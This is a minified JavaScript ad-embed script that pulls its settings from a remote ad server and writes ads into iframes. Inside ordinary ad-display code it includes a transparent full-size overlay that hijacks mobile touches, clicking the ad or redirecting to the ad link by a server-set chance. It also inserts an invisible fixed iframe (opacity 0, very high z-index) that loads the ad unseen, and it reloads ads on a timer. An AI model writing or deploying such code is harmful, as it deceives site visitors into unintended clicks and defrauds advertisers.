if (window.jQuery) { } else { var request = new XMLHttpRequest(); request.open('GET', '//ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js', false); request.send(null); if (request.status === 200) { var script = document.createElement('script'); script.text = request.responseText; document.head.appendChild(script);} } (function(){var crscr=document.crscr||(function(){ var scripts=document.getElementsByTagName('script'); return scripts.item(scripts.length-1)}()); var inline_n_id;var match; //var match=crscr.src.match(/id=([0-9]+?)(&|$)/); if(match){ var inline_n_id=decodeURIComponent(match[1])} var rootkjs; var scripts = document.getElementsByTagName("script"); var i = scripts.length; while (i--) { var match = scripts[i].src.match(/code\/inline.js\?id=(.*?)$/); var crscr = scripts[i]; if (match) { var rootkjs = match[1]; break; } } var inline_n_id = rootkjs; getParams(inline_n_id,function(param){ if(!param){return false} if(param[0] == ''){return false;} var ua = navigator.userAgent; if (ua.indexOf('iPhone') > 0 || ua.indexOf('iPad') > 0 || ua.indexOf('Android') > 0){ var ua2 = 'mobile'; if(param[2] == 'pc'){return false;} }else{ if(param[2] == 'mobile'){return false;} var ua2 = 'pc'; } var rand_fid;var rand_fid = Math.floor(Math.random() * 1000) + 1; var iframe_te1;var iframe_te1 = document.createElement("div"); crscr.parentNode.insertBefore(iframe_te1,crscr); var ifid_1;var ifid_1 = 'touchevent_contents_' + inline_n_id + "_" + rand_fid; iframe_te1.id = ifid_1; iframe_te1.style.padding=0; iframe_te1.style.margin=0; iframe_te1.style.position="relative"; var windowWidth;var windowWidth = jQuery("#" + ifid_1).parent().width(); var windowheight;var windowheight = windowWidth * 0.88; var iframe_te2;var iframe_te2 = document.createElement("div"); var ifid_2;var ifid_2 = 'p2_' + inline_n_id + "_" + rand_fid; iframe_te2.id = ifid_2; iframe_te2.style.width= '100%'; iframe_te2.style.height= param[4] + "px"; iframe_te2.style.cursor = 'pointer'; iframe_te2.style.margin="auto"; iframe_te2.style.padding=0; iframe_te2.style.display= "none"; iframe_te2.style.position="absolute"; iframe_te2.style.left = "0px"; iframe_te2.style.top = "0px"; iframe_te2.style.zIndex = "2000000"; jQuery(iframe_te2).appendTo("#" + ifid_1); var kw = param[3]; var g = param[4]; var iframe=document.createElement('iframe'); //crscr.parentNode.insertBefore(iframe,crscr); jQuery(iframe).appendTo("#" + ifid_1); iframe.setAttribute("framespacing",0); iframe.setAttribute("frameborder",0); iframe.setAttribute("border",0); iframe.setAttribute("scrolling","no"); var ifid;var ifid = 'inlinearea_' + inline_n_id + "_" + rand_fid; iframe.id = ifid; iframe.style.border="none"; iframe.style.padding="0"; iframe.style.margin="0"; iframe.style.display="block"; //iframe.style.height= windowheight+ "px"; iframe.style.height= param[4] + "px"; iframe.style.width= windowWidth + "px"; var iframe_content=iframe.contentWindow.document; //専用 var stm = param[0]; //if(param[15] == '18' || param[15] == '34'){ if ( stm.match(/maist/)) { var body_inline = '' + param[0] + ''; }else{ var body_inline = '
' + param[0] + '
'; } /* if(Number(param[11]) == 0){ iframe_content.open(); iframe_content.write(body_inline); iframe_content.close(); }else{ iframe.srcdoc = body_inline; } */ iframe_content.open(); iframe_content.write(body_inline); iframe_content.close(); var randnum_inline_g;var randnum_inline_g = 1 + Math.floor( Math.random() * 100 ); jQuery("#" + ifid).bind('load',function(){ jQuery("#" + ifid).css('height',param[4] + 'px'); if(ua2 == 'pc'){ jQuery("#" + ifid).css('height',param[4] + 'px'); jQuery("#" + ifid).css('width',param[3] + 'px'); }else{ var ww;var ww = jQuery(window).width()/kw; var ft1;var ft2; if(param[5] == '0'){ var ft1 = windowWidth / kw; var ft2 = windowWidth / kw * 1.056; jQuery("#" + ifid_1).css({'height':g*ft1 + 'px'}); jQuery("#" + ifid).css({'height':g*ft1 + 'px'}); jQuery("#" + ifid).contents().find('.inline-ray-2_'+ ifid).css({'height':g*ft2 + 'px','margin-top':((g*ft1)-g)/2 + 'px','margin-bottom':((g*ft1)-g)/2 + 'px',}); jQuery("#" + ifid).contents().find('.inline-ray_'+ ifid).css({'transform':'scale('+ft1+')','transform-origin':'center'}); } else { jQuery("#" + ifid).css('height',param[4] + 'px'); jQuery("#" + ifid).css('width',param[3] + 'px'); } var tcint = 0; var a; if(param[15] == '14' || param[15] == '34' || param[15] == '26' || param[15] == '23'){ if(Number(param[10]) >= 1){ /* if(Number(param[13]) == 0){ var tcev = jQuery("#" + ifid).contents().find("body"); }else if(Number(param[13]) == 1){ jQuery("#p2").show(); var tcev = jQuery("#p2"); } */ jQuery("#" + ifid_2).show(); var tcev = jQuery("#" + ifid_2); tcev.bind("touchstart", function(event){ if(Number(param[10]) > randnum_inline_g){ var a = jQuery("#" + ifid).contents().find("body").find("a:first").attr("href"); if(typeof(a) == "undefined" || a == '') { jQuery("#" + ifid).click(); jQuery("#" + ifid).trigger('click'); jQuery("#" + ifid).contents().find("body").trigger('click'); }else{ location.href = a; //window.open(a, '_blank'); } } }).bind('touchend', function(){ tcint++; //console.log(tcint); //if(Number(param[14]) == tcint){jQuery("#p2").hide();console.log('p2_off');} if(Number(param[14]) >= 1){jQuery("#" + ifid_2).hide();} }); } } var int_1;var int_1 = Number(param[7]); var int_2;var int_2 = Number(param[8]) / 100; var int_3;var int_3 = Number(param[9]); var randnum_inline_f;var randnum_inline_f = 1 + Math.floor( Math.random() * 100 ); if(int_1 > randnum_inline_f){ var boost;var boost=document.createElement('iframe'); crscr.parentNode.insertBefore(boost,crscr); boost.setAttribute("framespacing",0); boost.setAttribute("frameborder",0); boost.setAttribute("border",0); boost.setAttribute("scrolling","no"); boost.id = 'boostarea_' + inline_n_id + "_" + rand_fid; boost.style.border="none"; boost.style.padding="0"; boost.style.margin="0"; var windowWidth2 = jQuery(window).width(); var windowheight2 = windowWidth2 * 0.88; boost.style.height= windowheight2 +"px"; boost.style.width= "100%"; var boost_content = boost.contentWindow.document; boost_content.open(); boost_content.write('
' + param[0] + '
'); boost_content.close(); jQuery('#boostarea_' + inline_n_id + "_" + rand_fid).css({'transform':'scale('+int_2+')','transform-origin':'center','z-index':'99999999','position':'fixed','top':'30%','left':'0','opacity':'0','-moz-opacity':'0','-webkit-opacity':'0'}); setTimeout(function(){ jQuery('#boostarea_' + inline_n_id + "_" + rand_fid).css('display','none'); },int_3); } } }); var countUpValue = 0; if(param[11] >= 1){ setInterval(function(){ countUpValue++; //console.log(param[11]+"---"+countUpValue); if(Number(param[11]) < countUpValue){return false;} //iframe_content.clear(); iframe_content.location.reload(true); jQuery("#" + ifid).hide(); //iframe.srcdoc = body_inline; // /* iframe_content.open(); iframe_content.write(body_inline); iframe_content.close(); */ iframe_content.open(); iframe_content.write(body_inline); iframe_content.close(); jQuery("#" + ifid).fadeIn(1400); },param[12]); } }); function getParams(id_inlineact,callback){ var ua = navigator.userAgent; if (ua.indexOf('iPhone') > 0 || ua.indexOf('iPad') > 0){ var ag = 0; }else if(ua.indexOf('Android') > 0) { var ag = 1; }else{ var ag = 2; } var url='//ad-tag.biz/callback.php?id='+ id_inlineact + '&ag=' + ag; var bit=new XMLHttpRequest(); bit.open('GET',url,true); bit.setRequestHeader('X-Requested-With','XMLHttpRequest'); bit.send(null); bit.onreadystatechange=function(){ if(bit.readyState===4){ if(bit.status===200){ var param=JSON.parse(bit.responseText);callback(param)} } }}}());